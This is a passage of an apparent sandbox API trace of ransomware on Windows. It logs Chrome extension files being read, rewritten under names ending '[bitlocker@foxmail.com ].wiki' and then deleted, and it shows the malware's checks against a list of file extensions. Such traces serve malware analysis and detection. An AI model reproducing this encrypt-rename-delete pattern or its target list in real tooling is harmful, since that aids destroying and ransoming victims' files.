halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.851] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.851] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.987] GetLastError () returned 0x0 [0179.987] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x14c, lpOverlapped=0x0) returned 1 [0179.988] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x150, lpOverlapped=0x0) returned 1 [0179.989] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.989] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.989] SetEndOfFile (hFile=0x198) returned 1 [0179.989] CloseHandle (hObject=0x198) returned 1 [0179.989] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.989] SetEndOfFile (hFile=0x320) returned 1 [0179.990] CloseHandle (hObject=0x320) returned 1 [0179.990] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.990] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json")) returned 1 [0179.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.991] lstrlenW (lpString=".doc") returned 4 [0179.991] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".docx") returned 5 [0179.991] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.991] lstrlenW (lpString=".pdf") returned 4 [0179.991] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".xls") returned 4 [0179.991] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".xlsx") returned 5 [0179.991] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.991] lstrlenW (lpString=".ppt") returned 4 [0179.991] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.991] lstrlenW (lpString=".zip") returned 4 [0179.991] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".rar") returned 4 [0179.991] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".bz2") returned 4 [0179.991] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.991] lstrlenW (lpString=".7z") returned 3 [0179.991] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.991] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.991] lstrlenW (lpString=".dbf") returned 4 [0179.991] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.992] lstrlenW (lpString=".1cd") returned 4 [0179.992] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.992] lstrlenW (lpString=".jpg") returned 4 [0179.992] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.992] lstrlenW (lpString=".doc") returned 4 [0179.992] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".docx") returned 5 [0179.992] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.992] lstrlenW (lpString=".pdf") returned 4 [0179.992] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".xls") returned 4 [0179.992] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".xlsx") returned 5 [0179.992] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.992] lstrlenW (lpString=".ppt") returned 4 [0179.992] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.992] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.992] lstrlenW (lpString=".zip") returned 4 [0179.992] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".rar") returned 4 [0179.992] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".bz2") returned 4 [0179.992] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.992] lstrlenW (lpString=".7z") returned 3 [0179.992] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.993] lstrlenW (lpString=".dbf") returned 4 [0179.993] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.993] lstrlenW (lpString=".1cd") returned 4 [0179.993] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json") returned 151 [0179.993] lstrlenW (lpString=".jpg") returned 4 [0179.993] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.993] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.993] lstrlenW (lpString="messages.json") returned 13 [0179.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.994] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=268) returned 1 [0179.994] CloseHandle (hObject=0x320) returned 1 [0179.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json")) returned 0x2020 [0179.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0179.994] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.994] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.995] GetLastError () returned 0x0 [0179.995] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x10c, lpOverlapped=0x0) returned 1 [0179.996] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0179.997] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.997] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.997] SetEndOfFile (hFile=0x198) returned 1 [0179.997] CloseHandle (hObject=0x198) returned 1 [0179.997] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.997] SetEndOfFile (hFile=0x320) returned 1 [0179.998] CloseHandle (hObject=0x320) returned 1 [0179.998] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.998] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json")) returned 1 [0179.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0179.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0179.999] lstrlenW (lpString=".doc") returned 4 [0179.999] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".docx") returned 5 [0179.999] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.999] lstrlenW (lpString=".pdf") returned 4 [0179.999] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".xls") returned 4 [0179.999] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".xlsx") returned 5 [0179.999] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.999] lstrlenW (lpString=".ppt") returned 4 [0179.999] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0179.999] lstrlenW (lpString=".zip") returned 4 [0179.999] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".rar") returned 4 [0179.999] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".bz2") returned 4 [0179.999] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.999] lstrlenW (lpString=".7z") returned 3 [0179.999] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0179.999] lstrlenW (lpString=".dbf") returned 4 [0179.999] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.999] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0179.999] lstrlenW (lpString=".1cd") returned 4 [0180.000] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.000] lstrlenW (lpString=".jpg") returned 4 [0180.000] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.000] lstrlenW (lpString=".doc") returned 4 [0180.000] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".docx") returned 5 [0180.000] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.000] lstrlenW (lpString=".pdf") returned 4 [0180.000] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".xls") returned 4 [0180.000] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".xlsx") returned 5 [0180.000] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.000] lstrlenW (lpString=".ppt") returned 4 [0180.000] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.000] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.000] lstrlenW (lpString=".zip") returned 4 [0180.000] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".rar") returned 4 [0180.000] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".bz2") returned 4 [0180.000] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.000] lstrlenW (lpString=".7z") returned 3 [0180.000] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.001] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.001] lstrlenW (lpString=".dbf") returned 4 [0180.001] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.001] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.001] lstrlenW (lpString=".1cd") returned 4 [0180.001] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.001] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 151 [0180.001] lstrlenW (lpString=".jpg") returned 4 [0180.001] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.001] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.001] lstrlenW (lpString="messages.json") returned 13 [0180.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.002] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=289) returned 1 [0180.002] CloseHandle (hObject=0x320) returned 1 [0180.002] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json")) returned 0x2020 [0180.002] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.002] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.002] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.003] GetLastError () returned 0x0 [0180.003] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x121, lpOverlapped=0x0) returned 1 [0180.004] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x130, lpOverlapped=0x0) returned 1 [0180.005] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.005] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.005] SetEndOfFile (hFile=0x198) returned 1 [0180.005] CloseHandle (hObject=0x198) returned 1 [0180.005] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.005] SetEndOfFile (hFile=0x320) returned 1 [0180.006] CloseHandle (hObject=0x320) returned 1 [0180.006] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.006] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json")) returned 1 [0180.006] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.006] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\messages.json") returned 151 [0180.006] lstrlenW (lpString=".doc") returned 4 [0180.006] lstrcmpiW (lpString1=".doc", lpString2="json") 